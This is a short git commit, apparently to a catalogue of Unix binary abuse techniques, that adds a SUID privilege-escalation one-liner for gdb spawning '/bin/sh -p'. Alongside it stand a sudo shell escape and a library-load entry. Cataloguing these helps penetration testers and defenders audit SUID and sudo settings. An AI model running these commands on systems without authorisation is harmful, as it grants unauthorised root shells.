Add missing SUID in gdb

This commit is contained in:
Emilio Pinna 2018-10-08 22:51:52 +01:00
parent 2377be5a55
commit d7d463ee0c

View File

@ -47,6 +47,8 @@ functions:
library-load: library-load:
- description: This requires that GDB is compiled with Python support. - description: This requires that GDB is compiled with Python support.
code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit
suid:
- code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
sudo: sudo:
- code: sudo gdb -nx -ex '!sh' -ex quit - code: sudo gdb -nx -ex '!sh' -ex quit
capabilities: capabilities: